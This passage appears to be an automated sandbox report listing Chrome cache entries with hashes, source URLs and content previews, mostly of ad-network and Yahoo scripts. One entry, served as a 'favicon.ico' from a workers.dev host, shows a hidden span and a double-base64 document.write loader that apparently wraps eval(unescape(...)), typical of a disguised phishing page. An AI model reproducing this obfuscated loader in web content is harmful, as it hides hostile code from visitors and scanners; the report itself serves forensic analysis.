Preview:	(function(){var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},da=ca(this),p=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.p("Symbol",function(a){if(a)return a;var b=function(f,g){this.Aa=f;ba(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=function(){return this.Aa};var c="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=function

Chrome Cache Entry: 513

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1200x627, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	15614
Entropy (8bit):	7.988647458849318
Encrypted:	false
SSDEEP:	384:y8dxwr13Vd3XnYYLhJIl5OjdVpxzY8ETgYqxRgGZE1UH:y8HOHYYVYW1+tqpe1k
MD5:	8AB75A70BD5025BB56CFC599E345E22E
SHA1:	B416E53CC0F49ED3DA0FA0F8E1325A13F30EB52B
SHA-256:	CB8A990CAE18813934045440E4A3522E14CB2A4A433226943F79F27D2138075A
SHA-512:	B1130F33D1D6A52A5B1B4D0EA984405C490D0579F6B04CE01DB894C721B9E1B6D0BE75AC317314676EEB1CEBC7F651683A84E9563E31367E3B73D6A41C47E15F
Malicious:	false
Reputation:	low
URL:	https://de9a11s35xj3d.cloudfront.net/eeaff1655f3d99d35bccbfaee7e711a7.webp
Preview:	RIFF.<..WEBPVP8 .<...U.....s.>m6.H.&1.%...0..in...d..\.n.@.........o..a......,0_.^...=..y.......<.....i\|.n.0..}.#.../....?....f.....o......Ud[....I...W.....O..Y..x4S...>.?....N.-.F$d.zys%..I...6.D.l..X.h..E...=s.N\Q..a..?_....\|...@.@.U.K..>\|..C-t...c.J8;f..?...0..}CX..u....R&>..m%l...1.....GK2.G`..$]T....rmP. I..Ox...k'..v....r..O.t..$._.(^A.....,...o.2..RRg.Ut@.h...q...;y".....\j~O.......N..=...0.5.Z0[.w.\..2......_..4...+..~2F.@.U7.y-FI/.=.>..Bi...9.z...K...Yb.......6Bha+.2..2.A...k........K.U..Z...\|.KVk.......&0.........Q.....E...L.n..bz'..d...</U.`J.>u.hL.............H..-.+k.~6..M..R.S\..h0f...X{..`.z.h=.k.\I....:....5.T.....QX....2;.Q_8L._^P.~..V.z..}..c..,......_.T.B....T.8...:.e.....C..d.z3.../....szp_.{\...X...\...Oy.GR..M,Y.$...dt...L....q..#..}52.-2.#....l..7.=#.IY..Y...w. t@?..E.n........P......2p..N..F.E.K.`......g..e5.z......'(^..Y....8y...o:..@.."!Y.8+$+...s.^u..>R.).k..[.V.YoY..u..D.P...W..x\K?u...t.X\|.3DO8.C..'w:e.c....

Chrome Cache Entry: 514

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=sharethrough&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=51b9513d-31fb-4e13-8a96-326616d0043f
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 516

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8260), with no line terminators
Category:	downloaded
Size (bytes):	8260
Entropy (8bit):	5.238261028208202
Encrypted:	false
SSDEEP:	192:L2JhEpTVHpBTRgbW8DdlWzMEqt16lOTlKW5BCNaCV5WgeTYy3:L2JhEjpBKC8DjWpc16oBKAAaqeky
MD5:	DFA69F455EFA8A49A71AF52519927C3F
SHA1:	07E3A5A50D74E9150408B2D5A50AE1242F6A5A33
SHA-256:	6014DBEF5594ADD5F4104CE8597BC8C6B755E9DCA6B32E40EB04246E55588406
SHA-512:	72673CB76FB5C77B570C44AD5A156DD634C9E57E8C1FF0845C9C021FA492061804FE07C7C8CBEEA8049C3644C4352C17A575903428C1ACC00255E38C27F4D010
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-autocomplete-1.31.8-modern-a4f31e10ae.chunk.js
Preview:	webpackJsonpwafer_wafers_wafer_autocomplete([0],{"./src/types recursive ^\\.\\/.$":function(e,t,r){function a(e){return r(s(e))}function s(e){var t=i[e];if(!(t+1))throw new Error("Cannot find module '"+e+"'.");return t}var i={"./aol-location":"./src/types/aol-location.js","./aol-location.js":"./src/types/aol-location.js","./aol-markets":"./src/types/aol-markets.js","./aol-markets.js":"./src/types/aol-markets.js","./aol-recipes":"./src/types/aol-recipes.js","./aol-recipes.js":"./src/types/aol-recipes.js","./gossip":"./src/types/gossip.js","./gossip.js":"./src/types/gossip.js","./sports-teams":"./src/types/sports-teams.js","./sports-teams.js":"./src/types/sports-teams.js","./weather":"./src/types/weather.js","./weather.js":"./src/types/weather.js"};a.keys=function(){return Object.keys(i)},a.resolve=s,e.exports=a,a.id="./src/types recursive ^\\.\\/.$"},"./src/types/aol-location.js":function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),r.d(t,"getListMarkup",functi

Chrome Cache Entry: 517

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 518

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	78521
Entropy (8bit):	5.886757898822291
Encrypted:	false
SSDEEP:	1536:KvzUOE50ztP8pu5zo0WNb9ZD500MlqZJTom7Jv3DoUCSc7:KvfE6tgtWUO
MD5:	4033B24C9ECED059510EBA762F12CD41
SHA1:	2C8909B033324BF1D76FC50FFCA3F57A216307B6
SHA-256:	F1766A4D4962057CECF287203C269D9F077D3AE68D1B82B2529E25ACB6C8B6BE
SHA-512:	C3F66AE9886FFC5FBCE80D2EC82B909E15E31F73D417CBDC091AD378F22FB4CBDD489ECBC0B169E041E08B74EDA2D386EDDBD2D6A4966AEA8CF40945DDD39335
Malicious:	false
Reputation:	low
URL:	"https://ad.doubleclick.net/ddm/adj/N1068.4402292ASKLOCALA/B31278923.386942594;dc_ver=101.296;sz=300x250;u_sd=1;gdpr=0;nel=1;dc_adk=3132527028;ord=qotuw6;click=https%3A%2F%2Fnym1-ib.adnxs.com%2Fclick2%3Fe%3DwqT_3QKbAfBDmwAAAAMAxBkFAQi3_rWxBhD1556Ezbep80wY3s-3-_Wh4JRTIIri2Qoo5z0wlHY4AkCU46bzAUiOlpcBUABaA1VTRGIBBfBSaKwCcPoBeKCwZ4AB9ekFiAEBkAECmAEFoAECqQGPtgjGTXDdP7EBomKcvwmF1T-5AQAAAIDrUR9AwQFs_aFXC4XVP8kB4xk09E9w3T_YAQDgAQA.%2Fs%3Ded5f2669026f0f7e76a6e0d4252c22059c8f2ad3%2Fbcr%3DAAAAAAAA8D8%3D%2Fcnd%3D%2521Whjv8Aiw2-4cEJTjpvMBGI6WlwEgACgAMc3MzMzMzPw_OglOWU0yOjQ1MDhAoUZJAAAAAAAA8D9RAAAAAAAAAABZAAAAAAAAAABhAAAAAAAAAABpAAAAAAAAAABxAAAAAADAIUB4AIkBAAAAAAAA8D8.%2Fcca%3DMTUxMjQjTllNMjo0NTA4%2Fbn%3D95477%2Fclickenc%3D;uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.;dc_rfl=2,https%3A%2F%2Fwww.yahoo.com%2F$0;xdt=1;crlt=cyZyNuI(fd;cmpl=8;gcsr=a;stc=1;asnm=1;chaa=1;sttr=597;prcl=s"
Preview:	document.write('\x3cscript\x3e(function() {(function(){/Copyright The Closure Library Authors.SPDX-License-Identifier: Apache-2.0/var g\x3dthis\|\|self,k\x3dfunction(a,b){var c\x3dArray.prototype.slice.call(arguments,1);return function(){var e\x3dc.slice();e.push.apply(e,arguments);return a.apply(this,e)}};var l\x3dfunction(a){a\x3da?a.toLowerCase():\x22\x22;switch(a){case \x22normal\x22:return\x22normal\x22;case \x22lightbox\x22:return\x22lightbox\x22;case \x22push_down\x22:return\x22push_down\x22}return null};function m(a,b){for(var c in a)b.call(void 0,a[c],c,a)};var n\x3d{o:\x22ad_container_id\x22,D:\x22hideObjects\x22,J:\x22mtfTop\x22,I:\x22mtfLeft\x22,N:\x22zindex\x22,u:\x22mtfDuration\x22,M:\x22wmode\x22,K:\x22preferFlash\x22,A:\x22as_kw\x22,B:\x22as_lat\x22,C:\x22as_lng\x22,F:\x22mtfIFPath\x22,v:\x22expansionMode\x22,L:\x22mtfRenderFloatInplace\x22,s:\x22debugjs\x22,G:\x22dcapp\x22,m:\x22breakoutiframe\x22,H:\x22inMobileAdSdk\x22},q\x3dfunction(a){m(a,function(b,c){if(c.toLower

Chrome Cache Entry: 519

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (29345)
Category:	downloaded
Size (bytes):	38198
Entropy (8bit):	5.423953592065942
Encrypted:	false
SSDEEP:	768:TM/wi0KBIMtCGsOpYfkh2qGBS1+2Rfz4wDQjZvy/UQWwY4RXrqt:TkwiDBZtCG9Y/BSI29DQjZK/UQWwY4RY
MD5:	14F2889218EDD7EF03C7B806236E425A
SHA1:	523373D75BB962E8D2CEFE6FD8227C3C20F55649
SHA-256:	5FB6B28E09C4A5447ECAE7D6A4029D25FD2894B17C17494D208D8939E16E0723
SHA-512:	11A09F7921B6D316FF17CD63A8A9B64D1CF9B7BC228BE0171B8A7FFA09747F77D5AA4455BCBEEDECED1D5ECAAD49F9E0832B4DBE72B5CF63F2AF17E1078F15AF
Malicious:	false
Reputation:	low
URL:	https://contextual.media.net/checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8CU2K123F&prvid=2034%2C2031%2C2030%2C550%2C233%2C2028%2C2027%2C236%2C2025%2C2069%2C237%2C117%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C4%2C126%2C203%2C326%2C9%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C459%2C70%2C77%2C38%2C2023%2C2022%2C141%2C262%2C461%2C222%2C10000%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN&gpp=DBAA&gpp_sid=-1
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":151,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"US","zone":" e ","coc":"NA"},"cs":"8","lookup":{"rbcn":{"name":"rbcn","time":180,"cookie":"data-r","urls":[{"type":"iframe","url":"https:\/\/secure-assets.rubiconproject.com\/utils\/xapi\/multi-sync.html?p=medianet","eu_url":null}],"pvid":29,"isBl":0,"g":1,"cocs":0},"son":{"name":"son","time":28,"cookie":"data-so","urls":[{"type":"img","url":"https:\/\/sync.go.sonobi.com\/us?https:\/\/contextual.media.net\/cksync.php?cs=8&vsid=<vsid>&type=son&refUrl=<refUrl>&vid=<vid>&axid_e=<axid_e>&ovsid=[UID]","eu_url":null}],"pvid":35,"isBl":0,"g":1,"cocs":0},"con":{"name":"con","time":364,"cookie":"data-co","urls":[{"type":"img","url":"https:\/\/medianet-match.dotomi.com\/match\/bounce\/current?version=1&networkId=57734&gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&redir=https%3A%2F%2Fcont

Chrome Cache Entry: 520

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	5.177312516380945
Encrypted:	false
SSDEEP:	24:tCbYLbGPGuXVGTIshQGzGeLGSoGQlnGMGlsXGlbvOu3aYrpRDnOG3KwS7x7SyFYb:Di+hVdqUGSbQMHNDq8glIyxI
MD5:	93DC53D369DCA8F09877C3ECC9A41DE3
SHA1:	346D07BC2A3B65CD75CF0B3F938348969CA1A7C5
SHA-256:	E689333AEAB6ADA00BE85106F30DEDD1E069EFCF70B78E13CE407CC04B1B1189
SHA-512:	9D084CFA903CA9B6C253937B5F5628582C2080826124613CB5F70E6869ED472DF8541DF52E69DCDA55AFC11ED015BC0083DF5C1074717979544168F1E80ECB3E
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="-36.396%" y1="32.854%" x2="33.396%" y2="133.313%" id="a">. <stop stop-color="#FFF5B2" offset=".013%"/>. <stop stop-color="#FFDE00" offset="39.944%"/>. <stop stop-color="#FFA700" offset="100%"/>. </linearGradient>. <linearGradient x1="11.357%" y1="56.982%" x2="74.1%" y2="26.47%" id="b">. <stop stop-color="#FFB92B" stop-opacity=".05" offset="0%"/>. <stop stop-color="#FF6900" offset="100%"/>. </linearGradient>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="c">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <path d="M29.428 9.083c-4.944.213-9.017 4.055-9.642 9.094a6.54 6.54 0 00-5.162.923c-1.899 1.144-3.201 3.098-3.552 5.33a7.336 7.336 0 00.435 3.706c.46 1.083 1.502 1.7

Chrome Cache Entry: 521

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x156, components 3
Category:	dropped
Size (bytes):	16321
Entropy (8bit):	7.858902300587802
Encrypted:	false
SSDEEP:	384:KYNg7MA9ASSWjQoUZYCQq3ejd1o7z3UZSwyDJqugpywtBju:KYyo6KYCQqO51o7rYSpgpyyB6
MD5:	2B074030375AB006BB23BB32FAD4381E
SHA1:	28E498AA7F7C3CAF850471ACC711095FBDD0A0DC
SHA-256:	BD4703D7E9887F082BCA3FD8E5C41004CF5D6BA908DDBC6341653BC3AC0630AE
SHA-512:	1A16735ED61CCB36A3AAA7ED5A318135A13A2F33124728C7D693C22772E4830DE61BF297998A010C904EDB5254D6AF4C52AA30753AA2AF1C8065AB26624A9B3D
Malicious:	false
Reputation:	low
Preview:	......JFIF.............XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1........

Chrome Cache Entry: 522

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (663), with no line terminators
Category:	downloaded
Size (bytes):	663
Entropy (8bit):	5.113857668540427
Encrypted:	false
SSDEEP:	12:kxP4L8BMfF6RbWGnWUB6Ax8KBG/9/fSWGQL8BM4FoCpbWWGYsz8KBG6FkKOWQ:kDBBgGnW7fKBG/rGVB7Fo6Gf4KBG6Fkf
MD5:	5CB6721F1F753F276F159DBCB536C9B8
SHA1:	89BD22F64726F803BB28F24669DB41FD8F4B2E49
SHA-256:	962D6DEA088B031CD44D33F937ADB5BA241A9435AA32A8BE667D57482B8BBE1A
SHA-512:	EB44E858375AFBA69F61F2CEDEAD10AAF3B590E583ADD64585BF698C63777F280DA98130079A4A91724CF517186523A2F307DB0DBF5AAF57777A15FD92263CE9
Malicious:	false
Reputation:	low
URL:	https://googleads.g.doubleclick.net/xbbe/pixel?d=COmwx6QDEPGQ3_AFGIKEyY4CMAE&v=APEucNW3n1sPbEDPkZs_8pmUCIewC45CoaMbj3AzHxGHyoXwxtkM_cEFOr5uqtXjLfPlJx3OXrvR-dvipnuPo91_BYfGIeGWag
Preview:	<html><head></head><body><img src="https://cm.g.doubleclick.net/pixel?google_nid=lkqd_dbm&google_cm" style="display:none;"/><img src="https://cs.lkqd.net/cs?partnerId=59&redirect=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dlkqd_dbm%26google_hm%3D%24%24rawlkqduserid%7Cbase64%24%24" style="display:none;"/><img src="https://cm.g.doubleclick.net/pixel?google_nid=casale_media2_dsp_secure&google_cm&google_dbm" style="display:none;"/><img src="https://dsum-sec.casalemedia.com/rrum?ixi=0&cm_dsp_id=85&cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dsp_secure%26google_cm%26google_hm%3D" style="display:none;"/></body></html>

Chrome Cache Entry: 525

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (53327)
Category:	downloaded
Size (bytes):	53533
Entropy (8bit):	5.5177615612752495
Encrypted:	false
SSDEEP:	1536:ufffSdlK/4f/FSqqDguAkE5pC6vqbiKyE3tQYE3VVlzWB13LOw:ufffwcczkELCbZ2ELOw
MD5:	81587397046C020C9BA97A6F53D68AD0
SHA1:	61FA34152955EDAEF4D975F29EDDB6C5A32E7D53
SHA-256:	7B531FE3CFA57C4BB369D840621B7920F685FD9C80E4E8228DFEF6FEA28B9BA8
SHA-512:	71127CF4AF0BFF61612CCFB780B47611DFCDEB55FB0B27675F41327B951DAC76CB08ED09FEDF4399A5E4B72FB0D63357CD05E3090335167EF5FCF3DD0AE91985
Malicious:	false
Reputation:	low
URL:	https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico
Preview:	<html>.<body><span style="font-size:0 display:none; overflow:hidden; visibility:hidden;">HWJQCeBZbdjuYxNWJprauFCp3dHqSPqYEA7wezKeCnyGgQhrRWMMaccHYOPy5fjQGLsZLOdcKHioK1tz5ollb5AsYYculyMxDZMQsj8pVOBmt</span>.<script> document.write(window.atob(atob('UENGRVQwTlVXVkJGSUdoMGJXdytDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtLUEdoMGJXd2dhV1E5VTNSbGJtTnBiQ0JqYkdGemN6MGlibTh0YW5NZ1ozSnBaQ0JzYVdkb2RDMTBhR1Z0WlNJK1BITmpjbWx3ZEQ1bGRtRnNLSFZ1WlhOallYQmxLQ2QyWERFME1YSWxNakJjTVRZeEpUYzVKVE0zSlRORUpUSTNKVEkzSlROQ2NYa2xNemdsTTBSY01USXpkSEpwWERFMU5sd3hORGNsTWtVbE5qWmNNVFl5YnlVMlJGd3hNRE5jTVRVd1hERTBNVnd4TmpJbE5ETnZaR1VsTWpnbE16RWxNek1sTWtNbE16RWxNekFsTWprbE0wSWxOallsTmtaY01UWXlKVEk0WERFMU1TVXpSQ1V6TUNVelFpVTJPU1V6UXlVek1pVXpNeVV6T1NVek5pVXpRbWtsTWtJbE1rSWxNamtsTjBJbE56RmNNVGN4SlRNM0pUSkNKVE5FY1hrbE16Z2xOMFFsTTBKY01UUTJKVGMxWERFMU5pVTJNeVUzTkZ3eE5URWxOa1p1SlRJd2NTVTNPU1V6TmlVeU9DVXlPU1UzUWlVMk9TVTJOaVV5T0NVeU1XUnZZM1Z0WlZ3eE5UWWxOelFsTWtWa2IyTWxOelZjTVRVMUpUWTFiblFsTkVSdlhERTBORnd4

Chrome Cache Entry: 526

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3412), with no line terminators
Category:	downloaded
Size (bytes):	3412
Entropy (8bit):	5.0908215241003845
Encrypted:	false
SSDEEP:	48:YozhSx5M2PjYJakqOPyGbmq1Tk0GGbLq12k0yXD0THZHL2yVLT4hk14yIJZFOtkK:3hqjg8q1Tr9q12ryw1L2UPq1ktkNCYc
MD5:	956DABF4D28930BC42D934995B814D6D
SHA1:	D461E2FAB9B3E6F89561FEB5C2A5CBBB26198951
SHA-256:	CA9998A600267DC2431ABC077F8CF7A5476A46EE1E82D0C6F12BB17E512C3FE8
SHA-512:	6A98F3C8201E544DB161FA89E8A434B35B179F7D33446247B13EA08B43A7E79D44025524AEFDE0215827B2B2B95F8AC349712DCA00AA3073DDF2C4EE11B9F710
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-text-1.2.0-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-text",[],t):"object"==typeof exports?exports["wafer-text"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-text"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(o){if(r[o])return r[o].exports;var n=r[o]={i:o,l:!1,exports:{}};return e[o].call(n.exports,n,n.exports,t),n.l=!0,n.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,o){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:o})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n

Chrome Cache Entry: 527

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.403989446485262
Encrypted:	false
SSDEEP:	3:YBE+dmYn:Yvvn
MD5:	031A8B6F8BAEA1DF8DA69CAFED49D579
SHA1:	BA6C224B8AC88AD4368A30775BBD4CBAD9BE3BA5
SHA-256:	E5C0644466F49DFB193A225E813EB639BD14B0933EAA4CF457688BA716D49D95
SHA-512:	5B70D7F4F7B5A20657E835AEC1698BE17949EBA4E9B68E4DADD13B5BE9328A602CA815C9AD9CC6205F291199E18E7237CB4512CC840904F65AC4162F388B5801
Malicious:	false
Reputation:	low
Preview:	{"data":[],"meta":{}}

Chrome Cache Entry: 528

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60130)
Category:	downloaded
Size (bytes):	60312
Entropy (8bit):	4.72859504417617
Encrypted:	false
SSDEEP:	768:PUh31IPiyXNq4YxBowbgJlkwF//zMQyYJYX9Bf7VSz8:PU0PxXE4YXJgndFTfy9lQQ
MD5:	A12EC7EBE75A4D59A5DD6B79E2BA2E16
SHA1:	28F5DCC595EE6D4163481EF64170180502C8629B
SHA-256:	FC5128DFDCDFA0C3A9967A6D2F19399D7BF1AAAE6AD7571B96B03915A1F30DDA
SHA-512:	28B9EA5F3F95807259C2745162424ACEECAC2556BC1AB9A3B33E4E15B54C6970A4DF4A5892FE83C1155C82CA8D93AEBB173BE32F1A7F8B9D3CE038B2DD1E6FFE
Malicious:	false
Reputation:	low
URL:	https://ka-f.fontawesome.com/releases/v5.15.4/css/free.min.css?token=585b051251
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pul

Chrome Cache Entry: 529

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=medianet
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 530

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (681)
Category:	downloaded
Size (bytes):	880
Entropy (8bit):	5.604326920936296
Encrypted:	false
SSDEEP:	24:2e2C6hHfhiVIliWfwpbBUKzN9gZr6OOVmBqEry6Bf:2e2C6lICiwcnsrkVmBHG6Bf
MD5:	EB365A4DEBF28C52C88752539D8062A6
SHA1:	541F2767F68305516B99534742EDE04F3ECFDFB0
SHA-256:	7D50F1E9AF2A99C21FE333A0C314C6E74F9EDD4B986D15059F68F65D417EFBB9
SHA-512:	B755F3D0DD3567E9A8D1129F3EF66D93E7AB7AB7EC7D3FD6593872CCF3503FF8FAE3AA1007BA7FEE629B1F2FBF1DBAE45F0289C8BCA2DD7F3FCBFED658E65C64
Malicious:	false
Reputation:	low
URL:	https://yahoo-bidout-d.openx.net/w/1.0/pd?cc=1&gdpr=0&gdpr_consent=&us_privacy=1YNN
